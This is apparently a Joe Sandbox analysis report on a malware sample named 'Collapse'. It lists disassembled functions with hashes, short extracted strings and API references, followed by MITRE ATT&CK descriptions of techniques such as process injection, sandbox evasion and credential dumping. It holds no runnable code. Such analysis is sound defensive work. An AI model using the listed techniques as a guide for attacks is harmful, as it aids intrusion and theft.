Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 6fb55fcbf991541eeb8804c674fc3e74e595e421f3584c9616ebbc4a4cc8bc40
Instruction ID: fd81497e5cc6fa5ed09cb19eeb9559c87992125b0fed594d8fc88ac9e301bbc3
Opcode Fuzzy Hash: 6fb55fcbf991541eeb8804c674fc3e74e595e421f3584c9616ebbc4a4cc8bc40
Instruction Fuzzy Hash: C62124389293158BD724AF59D41033BB3A5AB4DB00F02683E8D82933D1D7B9AD1087CA

Function 0041B84B Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

R=-E, xrefs: 0041B8E3

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID: R=-E
API String ID: 0-1248821510
Opcode ID: f51a2fe3d3346966447099b4c86e8089b97c653c1cfa93d090b6954b4e2939d0
Instruction ID: 95121b6fa09362eeed9389480ba3bc508d1b731d0a25e4bff4e98dd85f03e470
Opcode Fuzzy Hash: f51a2fe3d3346966447099b4c86e8089b97c653c1cfa93d090b6954b4e2939d0
Instruction Fuzzy Hash: C811AD39A193528BD319CF25C8903ABB7E1EFD6344F48686DE4C1A7351C379C90A87DA

Function 004073B0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f6aa22e07ff9151c2a9c1ab6eeb8603e95fc2437cb1f71b13a96f1cf0d2162
Instruction ID: 8616d708d026e07aece80386f0b9e6e04010ef8f876f06df7ebb8aaa5fac906c
Opcode Fuzzy Hash: f1f6aa22e07ff9151c2a9c1ab6eeb8603e95fc2437cb1f71b13a96f1cf0d2162
Instruction Fuzzy Hash: 6522A372A087118BC725DE18D8806ABB3E1BFC4319F19893ED986A7385D738B851CB57

Function 004396F0 Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ea812e82b81bb4a212e1dcfb79646afe9ae036cc99153fdbfe721ec7e25d1be
Instruction ID: 9eefc113a12836842297b3c252d2029d1c11762bca039c7bb9bc4e4b88698534
Opcode Fuzzy Hash: 5ea812e82b81bb4a212e1dcfb79646afe9ae036cc99153fdbfe721ec7e25d1be
Instruction Fuzzy Hash: 930203366143014BD718DF29D85177BB7D2ABC8314F19A93EE886D3390DB78EC158B86

Function 0043F5C0 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2e3f1900c97fb0126f885609e66608829065437b72d60bb5809f155f634745
Instruction ID: 234df6f714af16d4f4261566cc3c7abd878bfce5ffc52740a1df4eb0bbf52fc5
Opcode Fuzzy Hash: 9a2e3f1900c97fb0126f885609e66608829065437b72d60bb5809f155f634745
Instruction Fuzzy Hash: 1202D039A18211CFD708DF28E89066AB3E1FB8E315F09887ED946C7261E735E859CB45

Function 0043F6D0 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976ab99eed818dddaa2dc1ebaae2a418e7ca25d3bce21848bf6af55ee17899b8
Instruction ID: d686ffac39be6d0f3f455328e8a54ab21bc9d3f7ab2562aa08db86176a306e0c
Opcode Fuzzy Hash: 976ab99eed818dddaa2dc1ebaae2a418e7ca25d3bce21848bf6af55ee17899b8
Instruction Fuzzy Hash: D2E1C139658211CFD708CF28E89066AB3E1FB8E315F19887DD546C3361E735E869CB4A

Function 0043F800 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 235231ba7a2a0887f536877b44a6934fd6e71bc8cd2a7a9f306462706e505231
Instruction ID: b41cb7f2c52101949c77105f9f86ab1574c31dc678e915dd08def74e03ad87bd
Opcode Fuzzy Hash: 235231ba7a2a0887f536877b44a6934fd6e71bc8cd2a7a9f306462706e505231
Instruction Fuzzy Hash: 4CC1C039658211CFD708CF38E89066AB3E1FB8E315F0A987DD54683361D735E865CB4A

Function 004406F0 Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e8214e739066eae89132dd2332742838904b948bf94e7ea8acbd0abaf622387e
Instruction ID: cc755e0ba5a25d7edebdce1128681661c6b511607672a390a7c3b85a764aa196
Opcode Fuzzy Hash: e8214e739066eae89132dd2332742838904b948bf94e7ea8acbd0abaf622387e
Instruction Fuzzy Hash: ADB1F676B143218BD728DE28C89067FB3E2FBD4710F05953EEA85A7391DA39AC108785

Function 0043F8B0 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52c76369ae0ecb2ed50f5792e05598014929a231eb6184d5f3fd9f2e871bbea1
Instruction ID: 3543f4c7ba1adf89441eec32064f8de0c7990d7915e0232de5de183476ddcd95
Opcode Fuzzy Hash: 52c76369ae0ecb2ed50f5792e05598014929a231eb6184d5f3fd9f2e871bbea1
Instruction Fuzzy Hash: F0A1C135A58211CFD718CF38E89062AB3E2FB8E311F09987DD546C3361D635E855CB4A

Function 0043F940 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ea14bf07158ac8e967b689a9396f96f020e0a04e058af7c6cd7f013b7d34c5
Instruction ID: ecc22bc257a2fb0d19aac58fbc6fd3c64878980aee81a5343072ecda718e8fd7
Opcode Fuzzy Hash: 74ea14bf07158ac8e967b689a9396f96f020e0a04e058af7c6cd7f013b7d34c5
Instruction Fuzzy Hash: 2AA1B135A58211CFD718DF38D89066BB3E2EB8E305F09983DE48AD3360E635D855CB4A

Function 0041B4B9 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4d620547f4fe9b896f8bfcfd67c149e860623443f90c4c1fe7b19f866f05280
Instruction ID: 6c6f473fc79ef3d85c8c36f18533c20678f95552c344c83649096497dcc0b208
Opcode Fuzzy Hash: d4d620547f4fe9b896f8bfcfd67c149e860623443f90c4c1fe7b19f866f05280
Instruction Fuzzy Hash: 5B512F701083059BC3149F14C4A16B7B7F2EFAA718F19191DE4C68B3A1F3389890CBDA

Function 0041B323 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05773195b55cc7af3532b89651789a1302257b8947be7b90bc65f2655016c293
Instruction ID: 99ff26627ec044becbd7bb1d1d7b041eb7a4130d5f82c0f1ad4559d931f4f94b
Opcode Fuzzy Hash: 05773195b55cc7af3532b89651789a1302257b8947be7b90bc65f2655016c293
Instruction Fuzzy Hash: C141367590E3925BD3098F2584A03BBFBE2DFE2301F19606EE4D557392DB388846C75A

Function 0040E425 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc078c6a64491d9b5d6d3fb6fcd8aa6389eca69b906fbcf45357792db6d23e0f
Instruction ID: 379eeb13d8fae2bbdb8185f076e4fe3c7818ff775dda8ff3e99f036fd98576b2
Opcode Fuzzy Hash: cc078c6a64491d9b5d6d3fb6fcd8aa6389eca69b906fbcf45357792db6d23e0f
Instruction Fuzzy Hash: 01510FB0405200EFEB548F26C9947127FA1FF45708F24958DD5491F3A6E3BAE846CF89

Function 0043EFF1 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deaa49d3fc64f653787d498b0657b5f8e3027a0f894eb2869bccbd06ddc372d9
Instruction ID: 9968eebb9502d7c28eba9f5e8a394a2395f104a33a7a43183597f6f6f2cb192a
Opcode Fuzzy Hash: deaa49d3fc64f653787d498b0657b5f8e3027a0f894eb2869bccbd06ddc372d9
Instruction Fuzzy Hash: 98410332E182244BE718CF28D99136BB7E79BC9350F1AA53DC88AD7351DA38D8058789

Function 0040E65B Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c129bb903568a87d97b66f7c073d4ba734cf659a798011797feb0a4926741d
Instruction ID: 5a1241caed594180818f4636cb56e571388ee4ffd58245bdd485821f6fba679c
Opcode Fuzzy Hash: 02c129bb903568a87d97b66f7c073d4ba734cf659a798011797feb0a4926741d
Instruction Fuzzy Hash: 3851EEB44052009FEB548F26C9907127FA1FF45708F24958DDA491F3A6D3BAE807CF89

Function 0043C480 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d55f0470644cada620ee4172314e1bf1573622bcb255831bae560939fc0501
Instruction ID: c29fddc2df2daae3f42b4937981811e275a63e63cc619c343a5bb1ed9a39c9df
Opcode Fuzzy Hash: 01d55f0470644cada620ee4172314e1bf1573622bcb255831bae560939fc0501
Instruction Fuzzy Hash: 2B31E7729092309BD710DF18C98475BB3E5EBD9744F15A82AE888A7340D37AEC458BD6

Function 0042D14C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7abdc6b612d8572d970bb47383906f18c78fce7094a42d50484e71a97ff5445d
Instruction ID: ba97fdd90c280ee238347f72384fe5f6ccf4d734626040229d9d8e40242fd629
Opcode Fuzzy Hash: 7abdc6b612d8572d970bb47383906f18c78fce7094a42d50484e71a97ff5445d
Instruction Fuzzy Hash: 50315871641700DBD7088F66CCC4B667BA2FFC5704F24E4ACDA094F7AADBB898118B59

Function 0043C980 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4de2854d14741699a4ea670b3dd1aed81a5aafab5d42ffcdd241e7575bdf061d
Instruction ID: 6a35d2d87e4aae4f0ffca406702f0b101b751249b86d9033aea091713203b1c0
Opcode Fuzzy Hash: 4de2854d14741699a4ea670b3dd1aed81a5aafab5d42ffcdd241e7575bdf061d
Instruction Fuzzy Hash: FD11577554430C5FD310EB44DDC0BBBB7A9EBC9358F146529EA8463320E26ADC14CBAA

Function 004274E8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dead7eb2ead17544e34a8f87b96678dac24aaf6b15151238b1ad58eb2bfaf8d
Instruction ID: 8328a4fd559888b7b958e563d327d7a9a06376b0f8b4d1b281856f2da2332d6b
Opcode Fuzzy Hash: 8dead7eb2ead17544e34a8f87b96678dac24aaf6b15151238b1ad58eb2bfaf8d
Instruction Fuzzy Hash: 1521A4B3A106168BCB28CF68C8825AAFBF1FF55304B06966ED159EB251D734D540CBC4

Function 00436150 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 3a8f224c42db33ccfd6a6536d18db3a2d449ce8cb45d11d481393aba99f8db63
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 4A112933A051E50EC7168D3C8800575BFE31AA7235F5AD39AF4B49B2D3D6268D8A8359

Function 0042A320 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f55a6098864843e4aae71f94eaa1b8b2efe39e1191d1016ba72d3fec01fef8
Instruction ID: c009b0363cfebcf920b853a2b4862277f6b56106570e942fe5aabf265f0346b4
Opcode Fuzzy Hash: a4f55a6098864843e4aae71f94eaa1b8b2efe39e1191d1016ba72d3fec01fef8
Instruction Fuzzy Hash: 10019EF1B0031247E720EE15A4C172BB2A8AB85708F48407EED0957342DB7DFC25829B

Function 0042D941 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 665f1f29d20b56f61b6ab61339006f172dbc702929565a342989df19a4520635
Instruction ID: 2143e196f315bc6a73925a438d52321d3c177c6d5770fa6161a45ec7c9397c98
Opcode Fuzzy Hash: 665f1f29d20b56f61b6ab61339006f172dbc702929565a342989df19a4520635
Instruction Fuzzy Hash: 5911C474A08252CBC328CF28D4A1A76F7F1FF57301B6899ADC0D78B352DA369845CB49

Function 0042D7B7 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa69774c42029fbac4530b05fab19ce10486e84947affefab3dc5717def380b1
Instruction ID: 4829c4bb1fb9a8875be2cc6a8859e035210cf9a52295b2f6c689fe71b3393f92
Opcode Fuzzy Hash: fa69774c42029fbac4530b05fab19ce10486e84947affefab3dc5717def380b1
Instruction Fuzzy Hash: 6D014939A081118BCB288E30D48167277F3EFA7301B69516EC4C2A7745EB3CE402860D

Function 00402BA0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b17d6aba164ef337a7a954c350607a12b740078940e4763aee2d1980453be1eb
Instruction ID: c926d9195837af6d2d1fe2d564c176221c2e5db40c068993f01037b5df013389
Opcode Fuzzy Hash: b17d6aba164ef337a7a954c350607a12b740078940e4763aee2d1980453be1eb
Instruction Fuzzy Hash: 83F0597B71221507E710CD2AADC452BB766EBC6324B1A413AE841E7280C8B8F806E268

Function 0042C097 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f598ddf24c88ad89c7c45594c75e1d5ada9c623ee80a9beea1eac979a575e47
Instruction ID: 7cde1d795a2325f791a2591a45a126e857c19a369b5f8500d9a8cad991568fbd
Opcode Fuzzy Hash: 5f598ddf24c88ad89c7c45594c75e1d5ada9c623ee80a9beea1eac979a575e47
Instruction Fuzzy Hash: 8401A9796457068FE315CF14D850BA6B7F2AF86308F4A947E8082C7392EA79A459C709

Function 0043303D Relevance: 35.2, APIs: 1, Strings: 19, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043310E

Strings

Y2, xrefs: 004331A9
0, xrefs: 004332EB
P2, xrefs: 004331E5
_2, xrefs: 004331D1
S2, xrefs: 004331F9
F2, xrefs: 00433221
U2, xrefs: 00433217
&2, xrefs: 00433195
92, xrefs: 004331BD
J2, xrefs: 0043322B
K2, xrefs: 004331B3
S2, xrefs: 004331DB
I2, xrefs: 004331C7
<2, xrefs: 004331EF
1, xrefs: 00433155
rBW, xrefs: 00433074
Y2, xrefs: 00433203
V2, xrefs: 0043319F
G2, xrefs: 0043320D

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: AllocString
String ID: &2$0$92$<2$F2$G2$I2$J2$K2$P2$S2$S2$U2$V2$Y2$Y2$_2$rBW$1
API String ID: 2525500382-1704840789
Opcode ID: f902b592b6eba6466cdfafd08a383cbd4100be188b91849ddb173ee8b47d4ebe
Instruction ID: 74ae05fafc35c9b705cb94cf23568fa8391c61c6ad6acd50c28dcf27fe9afe66
Opcode Fuzzy Hash: f902b592b6eba6466cdfafd08a383cbd4100be188b91849ddb173ee8b47d4ebe
Instruction Fuzzy Hash: 9461C532A2D7508AD368CF68CA0539FB6E1BFC5300F15AA6DD4D99B364E7748901C78B

Function 00432165 Relevance: 35.2, APIs: 1, Strings: 19, Instructions: 151memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00432236

Strings

P2, xrefs: 0043230D
0, xrefs: 0043240C
J2, xrefs: 00432353
V2, xrefs: 004322C7
I2, xrefs: 004322EF
F2, xrefs: 00432349
Y2, xrefs: 004322D1
_2, xrefs: 004322F9
S2, xrefs: 00432321
rBW, xrefs: 0043219C
G2, xrefs: 00432335
<2, xrefs: 00432317
92, xrefs: 004322E5
1, xrefs: 0043227D
S2, xrefs: 00432303
K2, xrefs: 004322DB
Y2, xrefs: 0043232B
U2, xrefs: 0043233F
&2, xrefs: 004322BD

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: AllocString
String ID: &2$0$92$<2$F2$G2$I2$J2$K2$P2$S2$S2$U2$V2$Y2$Y2$_2$rBW$1
API String ID: 2525500382-1704840789
Opcode ID: 6ceb89d6d5e4c09f3b9326815a3f473e67c1d16999f192d9aa92e0c138436fed
Instruction ID: b48d8866ef7672cf2c0e1fe15cec0ebcc93c84dfb12a9cd0e8d39250c797a1d1
Opcode Fuzzy Hash: 6ceb89d6d5e4c09f3b9326815a3f473e67c1d16999f192d9aa92e0c138436fed
Instruction Fuzzy Hash: 9F61C532A2D7508AD368CF78CA0139BB6E1BFC5300F15A96DD4D99B364EB748901C74B

Function 00432449 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 75COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432453
VariantInit.OLEAUT32 ref: 00432466

Strings

f0, xrefs: 004324A2
Q0, xrefs: 004324CA
u0, xrefs: 004324C0
e0, xrefs: 004324DE
q0, xrefs: 004324E8
g0, xrefs: 004324B6
v0, xrefs: 004324AC
s0, xrefs: 004324D4
~0, xrefs: 00432498
z0, xrefs: 0043248E

Memory Dump Source

Source File: 00000006.00000002.1688715530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Collapse.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Q0$e0$f0$g0$q0$s0$u0$v0$z0$~0
API String ID: 2610073882-1706572778
Opcode ID: 6c4633c437742d5ea02f2b05637dc49c13de568e3c4b056a3204ae06464dd71b
Instruction ID: 6a188afcc4417f1c0665edfbb67c2855a393ec20af716859af6148eab1d08b1b
Opcode Fuzzy Hash: 6c4633c437742d5ea02f2b05637dc49c13de568e3c4b056a3204ae06464dd71b
Instruction Fuzzy Hash: B331037951C3808BD328DF25C0957EBB7E1AF98700F00882DD5C98B3A1EBB54688CB47

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

